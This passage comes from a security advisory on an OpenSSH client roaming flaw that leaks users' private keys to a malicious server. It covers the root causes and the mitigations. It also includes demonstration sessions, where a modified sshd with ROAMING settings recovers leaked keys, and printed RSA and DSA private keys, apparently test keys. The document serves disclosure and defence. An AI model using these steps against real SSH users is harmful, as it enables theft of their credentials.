  nonetheless buffered in memory by the stdio functions.

- In OpenSSH versions <= 5.6, the load_identity_file() function (called
  by the client's public-key authentication method) loads a private key
  with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses
  fgets() and hence internal stdio buffering.

Internal stdio buffering is the most severe of the three problems
discussed in this section, although GNU/Linux is not affected because
the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers.
BSD-based systems, on the other hand, are severely affected because they
simply malloc()ate and free() stdio buffers. For interesting comments on
this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk

2. In OpenSSH versions >= 5.9, the client's load_identity_file()
function (called by the public-key authentication method) read()s a
private key in 1024-byte chunks that are appended to a growing buffer (a
realloc()ating buffer) with buffer_append() (old API) or sshbuf_put()
(new API). Unfortunately, the repeated calls to realloc() may leave
partial copies of the private key uncleansed in memory.

- In OpenSSH < 6.7 (old API), the initial size of such a growing buffer
  is 4096 bytes: if a private-key file is larger than 4K, a partial copy
  of this private key may remain uncleansed in memory (a 3K copy in a 4K
  buffer). Fortunately, only the file of a very large RSA key (for
  example, an 8192-bit RSA key) can exceed 4K.

- In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is
  256 bytes: if a private-key file is larger than 1K (the size passed to
  read()), a partial copy of this private key may remain uncleansed in
  memory (a 1K copy in a 1K buffer). For example, the file of a
  default-sized 2048-bit RSA key exceeds 1K.

For more information on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources

https://cwe.mitre.org/data/definitions/244.html

3. An OpenSSH growing-buffer that holds a private key is eventually
freed by buffer_free() (old API) or sshbuf_free() (new API), and both
functions attempt to cleanse the buffer with memset() or bzero() before
they call free(). Unfortunately, an optimizing compiler may remove this
memset() or bzero() call, because the buffer is written to, but never
again read from (an optimization known as Dead Store Elimination).

OpenSSH 6.6 is the only version that is not affected, because it calls
explicit_bzero() instead of memset() or bzero().

Dead Store Elimination is the least severe of the three problems
explored in this section, because older GCC versions do not remove the
memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5
and Clang/LLVM do, however, remove it. For detailed discussions of this
issue:

https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations

https://cwe.mitre.org/data/definitions/14.html

https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506

Finally, for these three reasons, passphrase-encrypted SSH keys are
leaked in their encrypted form, but an attacker may attempt to crack the
passphrase offline. On the other hand, SSH keys that are available only
through an authentication agent are never leaked, in any form.

------------------------------------------------------------------------
Mitigating Factors
------------------------------------------------------------------------

This information leak affects all OpenSSH clients >= 5.4, but its impact
is slightly reduced by the following four reasons:

1. The vulnerable roaming code can be permanently disabled by adding the
undocumented option "UseRoaming no" to the system-wide configuration
file (usually /etc/ssh/ssh_config), or per-user configuration file
(~/.ssh/config), or command-line (-o "UseRoaming no").

2. If an OpenSSH client is disconnected from an SSH server that offers
roaming, it prints "[connection suspended, press return to resume]" on
stderr, and waits for '\n' or '\r' on stdin (and not on the controlling
terminal) before it reconnects to the server; advanced users may become
suspicious and press Control-C or Control-Z instead, thus avoiding the
information leak:

# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume]^Z
[1]+  Stopped                 /usr/bin/ssh -p 222 127.0.0.1

However, SSH commands that use the local stdin to transfer data to the
remote server are bound to trigger this reconnection automatically (upon
reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH
commands (for example, backup scripts and cron jobs) commonly employ
public-key authentication and are therefore perfect targets for this
information leak:

$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls"
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]

$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar"
tar: Removing leading `/' from member names
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
...
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]

Similarly, the SCP client uses the SSH client's stdin and stdout to
transfer data, and can be forced by a malicious SSH server to output a
control record that ends in '\n' (an error message in server-to-client
mode, or file permissions in client-to-server mode); this '\n' is then
read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and
triggers an automatic reconnection that allows the information leak to
be exploited without user interaction:

# env ROAMING="scp_mode sleep:1" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp
$ [connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]

$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
lost connection

3. Although a man-in-the-middle attacker can reset the TCP connection
between an OpenSSH client and an OpenSSH server (which does not support
roaming), it cannot exploit the information leak without breaking server
host authentication or integrity protection, because it needs to:

- first, append the "resume at appgate.com" algorithm name to the server's
  initial key exchange message;

- second, in response to the client's "roaming at appgate.com" request,
  change the server's reply from failure to success.

In conclusion, an attacker who wishes to exploit this information leak
must convince its target OpenSSH client to connect to a malicious server
(an unlikely scenario), or compromise a trusted server (a more likely
scenario, for a determined attacker).

4. We discovered several non-security bugs, in specific versions and
configurations of OpenSSH, that prevent the client's roaming code from
reconnecting to the server and, as a result, prevent this information
leak from being exploited. In the client, wait_for_roaming_reconnect()
calls ssh_connect(), the same function that successfully established the
first connection to the server; this function supports four different
connection methods, but each method contains a bug and may fail to
establish a second connection to the server:

- In OpenSSH >= 6.5 (released on January 30, 2014), the default
  ssh_connect_direct() method (a simple TCP connection) is called by
  wait_for_roaming_reconnect() with a NULL aitop argument, which makes
  it impossible for the client to reconnect to the server:

 418 static int
 419 ssh_connect_direct(const char *host, struct addrinfo *aitop,
 ...
 424         int sock = -1, attempt;
 425         char ntop[NI_MAXHOST], strport[NI_MAXSERV];
 ...
 430         for (attempt = 0; attempt < connection_attempts; attempt++) {
 ...
 440                 for (ai = aitop; ai; ai = ai->ai_next) {
 ...
 470                 }
 471                 if (sock != -1)
 472                         break;  /* Successful connection. */
 473         }
 474
 475         /* Return failure if we didn't get a successful connection. */
 476         if (sock == -1) {
 477                 error("ssh: connect to host %s port %s: %s",
 478                     host, strport, strerror(errno));
 479                 return (-1);
 480         }

  Incidentally, this error() call displays stack memory from the
  uninitialized strport[] array, a byproduct of the NULL aitop:

$ /usr/bin/ssh -V
OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -p 222 127.0.0.1
user at 127.0.0.1's password:
[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor

- The special ProxyCommand "-" communicates with the server through the
  client's stdin and stdout, but these file descriptors are close()d by
  packet_backup_state() at the beginning of wait_for_roaming_reconnect()
  and are never reopened again, making it impossible for the client to
  reconnect to the server. Moreover, the fgetc() that waits for '\n' or
  '\r' on the closed stdin returns EOF and forces the client to exit():

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222
Pseudo-terminal will not be allocated because stdin is not a terminal.
user at 127.0.0.1's password:
[connection suspended, press return to resume][exiting]

- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that
  passes a connected file descriptor back to the client, but it calls
  fatal() while reconnecting to the server, because waitpid() returns
  ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after
  the first successful connection to the server) calls waitpid() before
  ssh_proxy_fdpass_connect() does:

1782 static void
1783 main_sigchld_handler(int sig)
1784 {
....
1789         while ((pid = waitpid(-1, &status, WNOHANG)) > 0 ||
1790             (pid < 0 && errno == EINTR))
1791                 ;
1792
1793         signal(sig, main_sigchld_handler);
....
1795 }

 101 static int
 102 ssh_proxy_fdpass_connect(const char *host, u_short port,
 103     const char *proxy_command)
 104 {
 ...
 121         /* Fork and execute the proxy command. */
 122         if ((pid = fork()) == 0) {
 ...
 157         }
 158         /* Parent. */
 ...
 167         while (waitpid(pid, NULL, 0) == -1)
 168                 if (errno != EINTR)
 169                         fatal("Couldn't wait for child: %s", strerror(errno));

$ /usr/bin/ssh -V
OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015

$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1
user at 127.0.0.1's password:
[connection suspended, press return to resume]Couldn't wait for child: No child processes

- The method ssh_proxy_connect() fork()s a standard ProxyCommand that
  connects the client to the server, but if a disconnection occurs, and
  the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is
  waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying
  read() returns EINTR) and the client exit()s before it can reconnect
  to the server:

$ /usr/bin/ssh -V
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1
user at 127.0.0.1's password:
[connection suspended, press return to resume][exiting]

  This behavior is intriguing, because (at least on Linux and BSD) the
  signal() call that installed the main_sigchld_handler() is supposed to
  be equivalent to a sigaction() call with SA_RESTART. However, portable
  versions of OpenSSH override signal() with mysignal(), a function that
  calls sigaction() without SA_RESTART.

  This last mitigating factor is actually a race-condition bug that
  depends on the ProxyCommand itself: for example, the client never
  fails to reconnect to the server when using Socat as a ProxyCommand,
  but fails occasionally when using Netcat.

------------------------------------------------------------------------
Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi
/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE
K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr
+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n
UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7
qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11
1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV
pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=
-----END RSA PRIVATE KEY-----

# env ROAMING="client_out_buf_size:1280" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
user at 127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-97ed9f59/infoleak
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme

------------------------------------------------------------------------
Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013

$ /usr/bin/ssh -V
OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013

$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP
grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe
4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY
8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw
oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP
IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4
cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh
PHatTfiy5p82Q8+TD60=
-----END DSA PRIVATE KEY-----

# env ROAMING="client_out_buf_size:768" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-9448bb7f/infoleak
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP
grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe
4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY
8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw
oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP
IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4
cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
...

# env ROAMING="client_out_buf_size:1024" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-279f5e2b/infoleak
...
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh
PHatTfiy5p82Q8+TD60=
...

------------------------------------------------------------------------
Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013

$ /usr/bin/ssh -V
OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc
VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL
9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175
ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn
w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU
MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh
oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY
mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M
k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G
+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95
n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt
8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw
rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5
cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb
3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV
WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ
pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM
T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY
FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=
-----END RSA PRIVATE KEY-----

# env ROAMING="client_out_buf_size:2048" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
user at 127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-35ee7ab0/infoleak
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc
VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL
9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175
ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn
w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU
MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh
oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY
mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M
k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G
+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95
n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt
8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw
rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5
cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb
3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV
WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ
pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM
T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY
FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS

$ /usr/bin/ssh -p 222 127.0.0.1
user at 127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-6cb31d82/infoleak
...
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=

------------------------------------------------------------------------
Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015

$ /usr/bin/ssh -V
OpenSSH_7.0, LibreSSL 2.2.2

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL
ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s
17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8
L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh
xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP
vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl
Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP
Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19
qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY
gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK
QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt
gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL
cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB
+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl
hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri
hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh
